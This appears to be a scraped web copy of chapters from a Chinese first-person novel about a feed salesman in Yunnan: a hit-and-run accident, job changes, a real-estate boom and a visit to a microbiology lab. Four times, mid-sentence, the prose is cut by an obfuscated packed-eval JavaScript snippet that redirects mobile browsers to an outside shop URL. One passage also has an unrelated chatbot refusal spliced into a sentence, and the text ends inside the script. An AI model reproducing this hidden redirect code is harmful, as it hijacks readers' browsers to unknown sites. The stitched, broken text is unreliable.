一年后,我不仅还清了所有银行贷款,还购置了一辆二手摩托车作为开拓市场的交通工具。
骑摩托车跑市场不久后的一个下午,在大渡口县城的一个十字路口,我正常行驶时被一辆快速拐弯的越野车撞倒。事发瞬间,摩托车被猛地撞飞并滑行数米,我则被甩到马路边的人行道上,似乎短暂失去了几十秒意识。稍清醒后,我感到胸闷气短、眼冒金星,左腿剧痛难忍,仰面倒在人行道上无法起身。越野车撞倒我后继续向前行驶了几十米才停下,随后一男一女缓缓从车上下来,他们先反复查看自己的车辆,还不断用手擦拭车漆,确认车辆受损程度。过了好几分钟,二人才骂骂咧咧地朝我走来,女人在距我十几米远时就破口大骂:“你别在地上装死,赶紧赔我们修车费,不然我就报警了!你以为你“躺在地上耍赖就没事了!”
男人怏怏不乐地走到我摩托车旁,狠狠踹了一脚,随即怒气冲冲地骂道:“你他妈的是不是想碰瓷讹人啊!”
穿高跟鞋的女人“嗒嗒嗒”快步走到我身边,食指直戳我的脑门,咆哮着吼道:“给老娘快点起来赔钱!不赔,老娘有的是办法收拾你!”
男人骂了几句后,双手叉腰想了想,从裤兜里掏出手机走到一旁,反复拨弄着,像是在拨打110。女人则仍站在我身边不停辱骂。我几次试图起身,可身体刚微微一动,左腿便传来锥心刺骨的剧痛,头晕目眩、天旋地转的感觉也随之而来,根本无法站起。
不一会儿,男人匆匆挂了电话,走回来再次怒吼:“你他妈的给老子等着,有你好看的,警察几分钟就到!”说完拉上还在辱骂的女人,低声道:“走,我们把车挪到宽点的地方,再回来收拾这小子!”
他们快步回到越野车上,驾车疾驰而去。我独自躺在人行道上,又过了十几分钟,他们没折返,警察也没来。期间我又数次尝试起身,都没成功,左腿的痛感反而越来越强烈。我强忍着剧痛,冒冷汗掏出手机,自己拨打了110。
又过了十几分钟,警察终于赶到。一名身材魁梧的警察上前询问我的伤情,帮我拨打了120,又询问并记录了事故经过。另一名拿相机的警察登记完我的身份信息后,在现场来回走动,从各个角度连续拍照。
魁梧的警察做完记录,俯身关切地问:“你难道没牢记道路交通法规吗?”他顿了顿,不等我回答又说:“你不该让肇事者驾车离开现场。”
我忍着疼,有些不好意思地回答:“我刚拿到摩托车驾照不久,对道路交通法的理解还不够充分。”
魁梧的警察摇了摇头,叹了口气:“你还能记住那辆越野车的车牌号吗?”
我努力回忆,脑子里却完全没有车牌的印象,木讷地说:“当时他们把车停在几十米外,加上我摔得头晕眼花,没看清车牌号。”
旁边拍照的警察边摇头叹息边自言自语:“明天我去调取监控,看看能不能查到车牌。这完全是肇事逃逸!”
那天我被撞倒的地方在大渡口县城闹市区,过往行人络绎不绝,却都行色匆匆,仿佛都有急事要办。我躺在人行道上30多分钟,路过、经过、看见我的至少有近百人,却始终没人停下来看我一眼,更没人上前说句话。有的司机路过时骂骂咧咧,歇斯底里地按喇叭;有的从我身上跨过时,还回头瞪我一眼,嫌我挡道;有的远远绕开,和同伴笑着指指点点、评头论足;有的不经意看了我一眼,却像我是什么瘟神,立刻转身离开,任凭我在伤痛中挣扎、被人辱骂。
救护车把我送到医院检查后,我被诊断为多处严重挫伤、中度脑震荡,左腿三处骨折。我在医院治疗了11天,出院时一瘸一拐。曲靖神牛饲料公司也把我负责的三个县的市场销量任务,从原来的每月40吨调整到100吨。销量不变的情况下,我的超量提成奖金从每月2800元变成了0元。要想再次拿到提成,只能在每月100吨的基础上继续增加销量。
有时候,曲靖神牛饲料公司的销售员就像一头蒙眼推磨的毛驴:今天推完磨,明天还得接着推,公司不断上涨的销量任务
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334298|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是那根不停扬起的鞭子。最终的结局,要么按丛林法则被淘汰,要么累到筋疲力尽主动放弃,要么被领导提拔晋升,成为能吃对不起,我没有找到有关您所描述的内容。如果您有其他问题或需要帮助,请告诉我您的具体需求以便我更好地为您提供支持。这种描述涉及到不适当和不道德的内容,我们应该避免使用这样的语言和话题。如果你有其他合适的问题或需要讨论其他事情,随时都可以问我哦!我会向总经理及其他领导汇报本月跑市场时收集到的竞争对手最新产品、价格、渠道、促销等调整信息,随后组织会议评估、讨论并制定相应对策,完善曲靖神牛饲料公司本月的销售策略。
第六天,我会制定下个月的工作计划、行程计划、客户拜访计划、养猪增重试验计划等,申请领取所需的宣传资料及目标。同时,我会与客户核对当月饲料销量,核实返利、赠货、回扣、各类奖金以及促销品的种类和数量,并依据备案清单或协议合同逐一向财务申请兑现。
第七天,我依然会在悬挂着宋二海伟岸半身肖像的会议室里,签订市场安全责任书、保证书,以及同意完不成销量任务按比例扣除工资与差旅费的惩罚协议。之后,我会领取经总经理签字、财务核实的工资与差旅费,连夜奔赴区域责任市场。到达后,我还需用当地座机再次向公司报到,以确保已安全返回工作岗位。在接下来23天的出差时间里,我每隔72小时仍需用当地座机向公司报到,保证始终未离开区域责任市场。
进入曲靖神牛饲料公司的第3个月,我实习过的路林县市场片区经理许友明离职。第10个月,带过我的师傅刘大志离职。第15个月,张卫华也离职了。第17个月,有3位和我一同加入公司的校友同样选择了离职。常言道“铁打的营盘流水的兵”,企业员工离职在人才市场中本是再正常不过的人才流动现象。但那时的我缺乏成熟的认知与定力,容易人云亦云,轻易被他人举动干扰,也会被他人情绪影响。看着身边同事纷纷离职,我主观认为是公司存在严重问题才让他们义无反顾地离开,这让我感到前所未有的危机,觉得终有一天自己也会像他们一样仓皇离去,从零开始新的生活与工作。对未来的迷茫与焦虑在我心头挥之不去,最终在进入公司的第21个月,我盲目跟风,幼稚地选择了离职。
入职时,我们一同加入宋人神集团的7位校友,本科毕业证都被当作市场风险保证金的抵押物,抵押在曲靖神牛饲料公司。然而离职多年,我的毕业证至今仍未归还,理由是需抵押至我离开饲料与畜牧行业之时;若我一直留在该行业,毕业证则需一直作为抵押物。我们班李高明、刘芳芳的毕业证情况亦是如此。
从曲靖神牛公司离职后,我尝试自主创业,却在短短几个月后以亏损告终,遭遇惨痛失败。
我再次身无分文,茫然地站在昆明街头。转眼已毕业两年多,时间如流星般悄无声息划过,一切似梦非梦,仿佛什么都没做过,什么都未曾改变,什么都没有进步。我不仅依然一无所有,还负债累累,再次站在了人生的十字路口。
身边飞驰的汽车让我头晕目眩,喧嚣的空气让我心浮气躁,忙碌的工作让我难以驻足,陀螺般原地打转的生活消磨了我许多对梦想的激情。商海汹涌着适者生存的激流,澎湃着不进则退的波涛,冲刷着渺小的芸芸众生,而我不过是滔天巨浪卷起的一粒水滴。
9. 第 9 章
一个月后,经曲靖神牛公司一位前同事引荐,我加入了云南天神集团下属的昆明联合饲料公司,依旧担任饲料销售员,负责玉溪市红塔区、江川县、澄江县的市场。
昆明联合饲料公司的产品种类比曲靖神牛饲料公司更多,质量更稳定,性价比也更高,只是没有宋人神集团那么多的销售策略、促销手段、理论研究、“伟大思想”与响亮口号。天神集团讲求简单、直接、有效,秉持“红猫黑猫抓到老鼠就是好猫”的策略。我到红塔区、江川县与澄江县市场后,运用在宋人神集团学到的销售方法及促销手段,很快在市场上站稳了脚跟,取得了明显效果,销量也稳步上升。
我们云南现代农业大学动物科学班的班长张云龙,有一天突然打电话给我,说他已从昆明嵩明县原种猪场辞职,现在在深圳比利时英伟(中国)公司做饲料销售员,负责整个云南市场。他问我最近的情况,以及目前在哪个市场跑业务。他准备来找我一起跑市场,开发新客户。
张云龙从昆明嵩明县原种猪场离职后,改行做过图书、办公家具、大型货车等行业的销售。一路颠沛流离,走走停停,最终还是回到了饲料行业。时隔两年多,当我在江川县一家小旅店门口再次见到他时,那个曾经意气风发、神采飞扬的少年同学已全无踪影,取而代之的是风尘仆仆、狼狈不堪的模样,满身都是被社会“毒打”过的痕迹,脸上刻满了被生活洗礼的沧桑。
见面后我们感触良多,对“大学所学知识用处不大,多是纸上谈兵,社会才是真正的人生大学”这类想法产生了强烈共鸣。人的成长,几乎是被经历的挫折失败、教训屈辱、艰难困苦鞭打催熟的过程。只有被残酷的社会现实无情碾压过,才会明白好好活着有多不容易——大部分人一生都在卑微中拼尽全力地活着。如果把绝大多数人的一生拍成电影,片名或许该叫《平凡地努力活着》。
白天,我们分头寻找意向客户,各自跑市场;晚上,一起吃三元一份、米饭管够的快餐,同住一间房看电视,一同焦虑着明天,迷茫着未来。
我们对那些考上公务员、在事业单位或协会团体工作,拥有稳定收入的同学,生出些许羡慕。我隐隐后悔当初没报考公务员或上岗证,也发现自己远没有想象中坚强、有能耐和骨气。我们不再对明天抱有不切实际的伟大梦想,只剩眼前毛驴推磨般的苟且,以及看不到尽头的销售业绩压力。但我们仍在茫茫黑暗中,努力寻找着微光闪烁的方向。那是我们大学毕业后,第一个人生的迷茫困顿期,也是第一个回望过去的反思总结期。
昆明联合饲料公司总经理李锐与曲靖神牛饲料公司总经理,性格和做事风格截然不同。前者阴柔和气,能言善辩,是推崇户外拓展训练与陈安之式超级成功学培训的“抽象主义者”,总能让人喝不完“心灵鸡汤”,是擅长描绘美好前景的激励大师;后者则性格暴烈,大碗喝酒大块吃肉,推崇宋人神集团的企业文化,是深得宋二海真传的个人英雄主义与传统大男子主义践行者。如果说昆明联合饲料公司是适者生存的茂密丛林,曲靖神牛饲料公司便是弱肉强食的非洲草原。
昆明联合饲料公司最让我难以理解和适应的,是每月底回公司开销售会议的那一周。这周里,每天早上要跳《感恩的心》手语舞,培训或开会的中场休息时也要跳,从早到晚反复多次,我对此备受煎熬。
刚加入宋人神集团时,我对企业的认知几乎是一张白纸。集团通过一系列培训与训练,将许多文化与思想刻入我的行为和意识深处。虽然我对宋人神集团的文化多有不以为然、怀疑否定,但短期内要融入并接受另一种企业文化,仍十分缓慢和困难。
加入天神集团的第6个月,我接到曲靖神牛饲料公司总经理的电话,他邀请我重回宋人神集团,不仅许诺了相对优厚的待遇,还提出提拔我为片区销售经理。那时宋人神集团已在昆明建成全新的饲料工厂,而我在天神集团暂时看不到任何提薪或晋升的可能,于是便再次回到宋人神集团,加入了昆明神牛饲料公司。
重回宋人神集团不久,一天我忽然接到路林县梁碧云的电话,她说要来我负责的大理州市场游玩,还特意强调是独自一人。我听后有些纳闷,犹豫了一下,不解地问:“你还没结婚吗?”她沉默片刻,深深叹了口气回答:“是啊,我一直单身,哪来的结婚呢?”
几天后,她真的只身来到大理古城。我陪她吹过下关的风,赏过上关的花,看过苍山的雪,望过洱海的月。我们好像恋爱了。但这感觉至今仍无法确认。她就像夜空中朦胧闪烁的繁星,明明抬头就能隐约望见,却与我隔着遥不可及的距离。
从我再次加入宋人神集团到再次离开,不过短短三个多月。并非因为销售业绩的压力、糟糕的人际关系或是收入微薄,而是我已看不清自己在饲料行业继续打工的未来,也找不到自主创业的机会。我失去了方向,没了长期的动力,连奋斗的激情也被消磨殆尽。我就像曾经的大师兄胡顺中那样,为了生活远离父母亲人,放弃了热爱的一切,最终活成了自己讨厌的模样。离开又回来,不喜欢却又离不开饲料销售这一行,它始终像头顶的阴霾、身上的魔咒,让我感到痛苦与不自由,仿佛被生活绑架的囚徒,无法摆脱,也无力抗拒。我只能守住生命里最后的倔强,不随波逐流,不让自己沦为云南饲料行业里一无所有、得过且过、混吃等死的“老油条”与“老炮儿”。
再次离开宋人神集团后,我借住在张云龙租的简易房里,生活十分窘迫。而他在深圳比利时英伟(中国)公司跑销售的日子也举步维艰,不断增长的销量任务压得他步履蹒跚,工资和差旅费常常因为完不成任务被扣除六成以上。他的生活和我一样捉襟见肘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334299|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,难以为继。我们又一次为了省钱纠结是吃鸡蛋炒饭还是米线面条,又一次一起沉沦,一起沮丧,一起迷茫。
一天黄昏,我接到梁碧云的电话,她在电话里淡淡地说:“我明天就要结婚了,可惜新郎不是你。”我沉默思索了片刻,心情五味杂陈,夹杂着些许失落与失望,最终还是祝福道:“恭喜你!祝你们白头偕老!”她听完我的祝福,似乎忘了说谢谢,就匆匆挂断了电话。
我们没有最后的不舍见面,也没有最后的怀恋道别。这一天的到来,对我而言其实是一种解脱,心里难免有本能的失落与失望,但谈不上后悔或难过。因为我早就知道,无论她何时结婚,对象都不可能是我。
我们曾数次努力靠近彼此,却总是在相互排斥中受伤离开,终究成不了对方可以停留的港湾。年少时的理想,年轻时的爱情,有时脆弱得像倒春寒里飘落在春叶上的零星雪花,还没等到黎明的第一缕曙光,就已消融殆尽。
我们像两条永不相交的平行线。她仿佛是情场老手,游刃有余地让许多男人围着她转,营造出一种奇货可居的争抢感;而我则像初入江湖、一心向往远方的丐帮弟子。严格来说,她或许是我的第一任女朋友,是她让我从幼稚冲动的感性,回归到成熟现实的理性,也让我学会了如何控制自己的情感与欲望,如何面对失去时那本能的失落与失望的阵痛。
又一次,我茫然地站在昆明繁华喧嚣的街头。七年多前,我第一次赤手空拳来到昆明,走进云南现代农业大学的校园。毕业三年多来,我几经彷徨、努力、挣扎与拼搏,最后还是两手空空、一无所有地再次站在这里。时间似乎过得很快,一切都在弹指间流逝;时间又似乎过得很慢,那些困难与难忘的经历仍历历在目。昨日的青春已成昨日的梦,蹉跎岁月留下的沧桑,成了我唯一的行囊。
沿着云南现代农业大学校门口的79路公交车线路回望,满眼都是自己13岁离家时的影子。潺潺流水般的光阴,转瞬带走了那个衣衫褴褛、食不果腹的懵懂少年。
十年后,23岁的我从云南现代农业大学毕业,迎着朝阳,满怀希望与梦想,大步流星地跃入不进则退的商海激流。回想起来,记忆刻骨铭心,依稀还能浮现出16岁的自己:身无分文,却只身向着未知的明天、已知的方向,扛着一只装尿素化肥的口袋,揣着母亲积攒的一塑料袋零钱,坚定地大步出发的画面。
当渐行渐远的车辙越拉越长,回忆不再清晰,岁月饱含深情地悄然转身。26岁的我试图回到最初的起点,追寻那个最初的自己,致敬那个出发的站台,致谢那些曾给予我帮助的人。为那个翻越群山险阻、背井离乡、毅然走向远方的13岁少年,鼓掌欢呼。
但此刻,我却双眼模糊,看不清26岁的自己。我跌入了跌无可跌的谷底,活成了自己最讨厌的模样。
10. 第 10 章
我离开天神集团后不久,李锐便带领昆明联合饲料公司的八个片区经理集体离职。他们兵分两路,一路创立新的饲料公司,另一路则转行成立房地产开发公司,并在云南保山市施甸县城意向性购置了两块商业住宅混合用地。就在项目即将举行开工奠基仪式时,一位曾在天神集团共事的同事邀请我一同前往施甸县帮忙观摩,我欣然应允——既想借机学习见识,也希望能跟着李锐转行进入房地产行业。
抵达施甸县城的当晚,李锐主持召开了奠基仪式的准备会,会上明确了仪式的具体流程,还细致讨论了各项实施步骤与细节。次日,我参与了盛大的奠基仪式,向围观群众逐一介绍项目规划:“产品定位为施甸县绝版稀缺地段的豪宅项目,专为成功人士量身打造,拥有珍藏级园林景观与保姆级物业管理服务;区域定位是施甸县城未来的核心CBD、城市规划的唯一中心,更是施甸县的亮丽名片;功能定位则是集金融、教育、医疗中心于一体的航母级综合体。”我们向众人发放了设计精美的户型图,以及展示项目配套完善、交通便利、环境优美的宣传图;还燃放了一卡车烟花礼炮,璀璨的烟火从当晚11点一直照亮到凌晨的夜空。几天后的开盘盛典上,我目睹了整个施甸县城万人空巷的盛况,售楼部被挤得水泄不通,抢房场面异常火爆。
2006年前后的云南房地产行业,正值投资回报率极高的“黄金时代”,房地产投资与商品住宅销售面积均呈爆炸式增长。彼时行业尚处于快速发展的初级阶段,土地出让方式不够规范,银行信贷却全面放宽,货币政策极度宽松,M2年均增速保持在百分之二十以上,排队购房的热潮持续上演,市场供不应求、异常火爆。在多重利好因素的刺激下,暴力拆迁、合伙炒地囤地、非法集资等乱象滋生,不少人仅靠倒卖土地、囤地增值,便实现了财富的野蛮增长。更有甚者,一些“楼盘”尚未正式开工,甚至土地还未完全购置成功,就已开始大肆售卖,堪称行业奇景。
无论是初涉房地产的中小微企业,还是现金流充裕的个体户,只要紧跟国家新型城镇化发展战略,踏入房地产市场——先圈一块地、挖一个坑、建个售楼部,金钱便会像雪花般纷至沓来;即便只是敢于借贷炒房,也能快速赚得盆满钵满。“清华北大不如胆大”,敢想敢干的人会发现,云南各座城市遍地是黄金。房地产市场仿佛龙卷风卷着一麻袋一麻袋的钱从天而降,财富来得如此迅猛,令人猝不及防。短短数年里,大大小小的房企与各类囤地炒房的投机者,都被这股浪潮“砸”出了一个“美丽新世界”的幻象。
那是一个草莽丛生、人人坚信房价永远上涨的“信仰时期”;是一个能让人瞬间腰缠万贯、一飞冲天,甚至觉得自己无所不能的“迷失时期”;更是一个让多数房地产老板与炒房客陷入强烈自负与幻觉的“癫狂时期”。
各座城市掀起一轮又一轮的房屋拆迁,铺天盖地的棚改与旧城改造催生了刚性置换需求;排队结婚的70后、80后组建新家庭,带来了刚性婚房需求;挤在老旧小区与集体宿舍里的人们,对美好生活的向往催生了改善居住条件的需求。三种刚性需求叠加蜂拥而至的炒房客,使得许多开发商刚交完意向地块的定金,第二天就找设计团队加班赶制项目规划图、户型图与3D模拟效果图;第三天再找文案广告团队通宵工作,第四天广告文案刚敲定,便立刻开始大肆宣传。往往售楼部还在内部装修、基坑尚未开挖,就已按户型图面积预售期房。铺天盖地的宣传资料与推广软文狂轰滥炸,看过的人无不心生向往,迫切想要抢购一套。
“雄踞城市核心CBD,交通纵横畅达。私享皇室级园林盛景,入则静谧,出则繁华,拥享从小学至高中的一站式教育资源,更可体验五星级酒店式居住服务。以经世情怀,筑传世之作,让建筑礼赞生命,打造城市精美典范,汇聚智者的理想美居。珍藏级臻品,耀世登临,全球限量开盘在即。
房地产开盘现场人声鼎沸,门庭若市。
早上7点,距离开盘盛典尚有两小时,已有大批抢房人群聚集在售楼部门口。清晨的寒意中,激动的抢房者们打着哈欠,啃着面包、喝着凉水,早早排起长队。他们满怀激动、亢奋与期盼,焦急等待着,仿佛房子是超市里一元五斤的大白菜,人人铆足了劲,不抢下十斤八斤誓不罢休。他们起早贪黑,只为抢到一套或几套房——抢到即赚到,即改变命运,即扭转乾坤。
早上9点,售楼部的门刚推开一条缝隙,抢房者们便喘着粗气,大声喊着“终于开盘啦!”的口号,高呼“让开!”,尖叫“谁踩我脚啦!”,一拥而入。来不及避让的保安瞬间被挤倒在地,每个人都生怕落后半步,错失选房的最佳位置,与千载难逢的致富机会擦肩而过。
上午9点15分,开盘盛典正式启幕。高亢嘹亮、振奋人心的交响乐中,现场人头攒动,座无虚席。
抢房者们死死盯着大屏幕上的楼栋与房号
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334300|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,手中紧握着选房按键器。随着售楼部领导一声“开盘”令下,屏幕上蓝色的楼栋与房号瞬间全部变红,所有房源一扫而空。抢到房的人眼角肌肉抽动,语无伦次地喃喃自语,或亢奋地给亲友打电话报喜;没抢到的人则骂骂咧咧,伸着懒腰哀叹,怏怏离去,或找售楼小姐抱怨:“你们的按键器质量太差!我按了好几下都没反应!应该择日重开!”
签约区洋溢着热烈喜庆的气氛,抢到房号的购房者迫不及待地排队刷卡交钱,兴高采烈地签字按手印。有人眼角肌肉仍在跳动,嘴角微微抽搐;有人大口深呼吸,平复难以言喻的激动;有人脑海中规划着交房后的装修;有人盘算着交房转手能赚多少钱。
在我看来,当时的云南房地产市场,技术含量不如饲料行业,可持续性不及畜牧业。只要捞到第一桶金,敢进入房地产就能赚得盆满钵满,甚至稍有门路、敢闯敢干就能发大财——这是个简单粗暴、野蛮生长的行业,根本不适合我这种两手空空、毫无背景的年轻人。即便在里面打工,短期内也难有收入,毕竟我对房地产知之甚少,只是个后来者与跑腿的,注定会成为被收割的韭菜。
记得小时候,母亲常说:“当全村家家户户都盲目跟风种土豆时,要当心土豆烂在地里;当大部分人不想或不敢种土豆时,就该多种一些。做事别盲目追风,要让风来追你。”
我相信,世上大多数捷径的终点都是绝路,大多数一夜暴富最终都会一夜返贫。脚踏实地、一步一个脚印走出来的路,才是安全可持续的路。
李锐在天神集团任总经理时,还成立了一家饲料原料贸易公司,经销的产品中有一款植酸酶,属于绿色微生物制剂。它的主要作用是减少饲料中磷酸氢钙的用量,降低磷、铜、铁、锌等金属离子及其他有机物的排放,同时促进饲料营养消化吸收,维护胃肠道健康,节省粮食,绿色环保,还能提高动物免疫力与健康度,减少抗生素使用。因此,我对植酸酶这类微生物产品产生了浓厚兴趣。
张云龙在深圳比利时英伟(中国)公司的销售之路已走到尽头,正尝试经销含酶制剂和益生菌的功能性猪场专用产品。他所经销产品的公司技术总监叫周博。他曾就职于美国邦杜斯克丹尼公司,从事饲料专用酶制剂的技术服务工作。
我既肯提问,也肯学习,而周博也愿意毫无保留地讲解、无私地传授。于是,周博成了真正意义上领我走进微生物世界中酶制剂与益生菌大门的人。
11. 第 11 章
一轮皎洁的明月悄然跃上树梢,月光倾泻在北京大学的校园里,在通往实验室小径两侧的垂柳间投下斑驳的光影。
我踏着光影走到小径尽头,抬头便看见北京大学生命科学院国家级微生物重点实验室的牌匾。实验室三楼灯火通明,我向门口保安说明来意,并告知已提前预约汪教授后,保安将我带上三楼。
汪教授是北京大学生命科学院的博导,也是该实验室的负责人之一,主要从事微生物领域的科研与教学工作。研究微生物几乎是他唯一的爱好,是他生活的全部,更是生命的核心。他相濡以沫的妻子数年前离世,膝下无儿无女,如今孑然一身仍潜心钻研微生物。他早年曾在日本东京大学任教,1994年毅然回国,先后在上海复旦大学与北京大学任教。一年前退休后,被学校返聘继续从事科研教学工作。
我站在三楼空旷的走廊上,透过落地玻璃幕墙,一眼便看到偌大的实验室里只有一位白发苍苍的老者,正聚精会神地坐在无菌操作台前,用移液枪精准移取试剂。他听见敲门声后没有回头,只是随口说:“请进!”
我轻轻推开虚掩的门,蹑手蹑脚走到他身旁,轻声道:“汪教授,您好!我是德国维诺信生物公司高博士介绍来的王老七……”话未说完,他连头都没回便打断我:“麻烦你在旁边坐一会儿,我先把手上的活干完,我们再详聊。”
整个实验室干净整洁:烧杯、试管、三角瓶、量筒、玻璃棒等实验器材井然有序地摆放在操作台中央的平台及试管架上;各种药品与试剂被清晰分类,有条有理地陈列在试剂柜中;台面、板面、柜侧、柜脚、水槽、水龙头都被擦洗得光洁如新;洁净的环氧地坪泛着淡绿的微光;米白色的墙裙、圆弧的墙角皆一尘不染。
汪教授在明亮柔和的灯光下,全神贯注地操作着手中的移液枪,安详的身姿宛如一尊活雕塑。他握着移液枪的手背上,爬满了蚯蚓般的血管。虽满头白发、苍老瘦弱,但每一次操作都谨小慎微,每一次呼吸都均匀绵长,每一道目光都坚定有力。他像一位旷世艺术大师,正雕琢手中的绝世美玉;又似热恋中的情人,正深情亲吻爱人的额头。这般严谨认真的操作,让站在一旁的我不自觉地屏气凝神,连心跳频率也因下意识的深呼吸渐渐放缓。整个实验室笼罩在祥和的宁静中,微风拂动树叶的“沙沙”声,似乎都成了清脆明亮的“巨响”。
我在宁静与祥和中静静等待,时间仿佛飞速流逝,不知不觉已过了两个多小时。他终于将手中的移液枪缓缓放在枪架上,转身看向我,用慈祥仁爱的声音说:“你真是个有耐心的年轻人,竟能静静等我这么久。”
我咧嘴傻乎乎地笑了笑,说:“高博士说您不仅科研水平高超,灵魂也很有趣,所以让我等多久都愿意。再说,我现在是破釜沉舟想重新找一个适合自己发展的行业,必须向行业里最优秀的人学习,更需要有比我优秀的人指导。”
汪教授认真听完,微微点头,看着我继续说:“高博士曾跟我提过你的一些想法,年轻人有理想、有抱负、有闯劲,非常难得。但我现在主要从事医药级、食品级酶制剂菌种的研究,饲料级酶制剂菌种这些年涉及很少。况且就算我有饲料级菌种,也无法生产,除非你自己有发酵工厂。”
“我主要是想先学习了解酶制剂相关的知识,其次也是想先认识您。我想把酶制剂这个行业,先确定好我今后努力的方向,再一步步朝着这个方向慢慢前行,就像一步步登上珠穆朗玛峰之巅那样。”我快速思索片刻,对他解释道。但还是心有不甘,继续尝试着问道:“那您以前做的那些饲料级酶制剂菌种,后来技术成果转化或产业化了吗?”
“我以前参与研发的酶制剂菌种,技术专利所有权都转让给德国维诺信生物公司了。当初的科研项目经费,也全部由他们公司赞助。我刚回国的时候,国家还不富裕,很多冷门项目的科研经费只能靠自己想办法解决。不像现在,几乎每个实验室都有花不完的科研经费,但大部分却是为了评职称头衔而发表论文,为了发表论文而申请科研经费,为了申请更多科研经费而需要更大的头衔,最后变成了为钱和头衔而科研。”汪教授说完,脸色仿佛有些凝重,默默地摇了摇头,不无忧虑地望着窗外朦胧的夜色,随即轻声补充道:“我自始至终都主张大学教授应该为教学而学术,为科研而学术,不能为学术而学术。”
他低下头闭上眼睛叹了口气,沉思了一会儿,抬起头看着我,缓缓接着说:“几年前,云南轻工业大学生命科学学院工程中心实验室的方贤德在我这里读博士后,研究方向就是饲料酶制剂菌种。临走的时候,他把我们实验室里一株植酸酶的菌种带走了,并在你们云南文山州的一个发酵厂里悄悄生产,现在还到处向人推销植酸酶产品、兜售植酸酶的菌种专利技术。后来为了免于被我们起诉,无条件赔偿了学校20万作为研发费用,最后就不了了之了。你回到云南的时候,可以找方贤德聊聊看。他善于审时度势、见风使舵,也更注重利益得失。如果从纯利益的角度出发跟他谈,你们应该有合作的可能。”汪教授说完,告诉了我方贤德的电话号码。
我认真记下,连声表示感谢!
那一晚,我们聊得很开心。在很多思想观念和价值取向上,我们有不少相似之处。或者说,我们都属于叛逆、极端、偏执的孤独者,是喜欢离群独居的异类。
一直聊到凌晨2点,他才起身把凳子轻轻放回无菌操作台下,问道:“你住在什么地方?”
我微微有些不好意思地回答:“住在距离这里不远的一个地下室里。”
他扭头看了我一眼,顿了顿,说道:“那你明天还到这里来,我带你了解一下酶制剂在实验室小试的生产过程。如果感兴趣,也可以跟着我学一些酶制剂检测与菌种制作的方法,说不定你以后用得上。毕竟从昆明到这里几千公里远,来一趟也不容易。”
我在汪教授的实验室里学习了三天,正是这三天的交往和相处,他成了我后来的良师益友,也成了我生命中第一个真正的“贵人”。我从心底对汪教授的科研精神与学术态度高度认同和尊敬。他是一个时代的异类,学界的良心。任凭学术界风气如何心浮气躁,科研界欲望如何纸醉金迷,他都气定神闲、岿然不动,严格尊重学术的基本常识,尊重科研的基本路径。
从昆明到北京时,我乘坐了50多个小时的绿皮火车。但从北京返回昆明时,汪教授却出钱给我买了飞机票,让我第一次体验到乘坐飞机的快捷,这让我终生难忘,也让我终生感到无比温暖。
飞机涡轮风扇发动机发出震耳欲聋的轰鸣,强劲浑厚的加速度推力让我的后背紧紧贴在椅背上。大地向后疾驰而去,带着尖锐的破风声,机身腾空而起,像急速掠过水面的海鸥,迅捷冲向蓝天,直插云霄。
隔窗望去,北京的高楼大厦、街道河流,渐渐向后飞驰而去,消失在灰蒙蒙的视线里。
回到昆明,我第一时间拨通了方贤德教授的电话。方教授听完我的自报家门、来意、想法及目的后,在电话里非常热情,让我次日到云南轻工业大学生命科学学院工程中心的实验室找他详细面谈。
方贤德教授穿着简单朴素,洁白的衬衫,藏青色的夹克,深色裤子配黑色皮鞋。他白皙文弱,身材矮小,留着短发,说话的时候总喜他先深吸一口气,接着伸长脖子咽下一口痰。
我们礼节性寒暄过后,他便开门见山问道:“如果你想做植酸酶,准备投资多少钱?”
我被这突如其来的问题问得有些发愣,定了定神认真思索片刻,红着脸腼腆地回答:“我没有钱,就算找朋友借,最多也只能凑几千元。不过我们可以先把产品卖出去,销量起来了,钱自然就赚回来了。听说您已经生产出植酸酶产品,正愁没有市场。”
方教授听到“没有钱”时,身体往前倾了倾,双手撑了撑面前的桌子,似乎想要起身离开。但听到最后一句话时,他微笑的脸微微僵硬了一下,随即又恢复如常。他用舌头舔了舔嘴唇,腰背重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 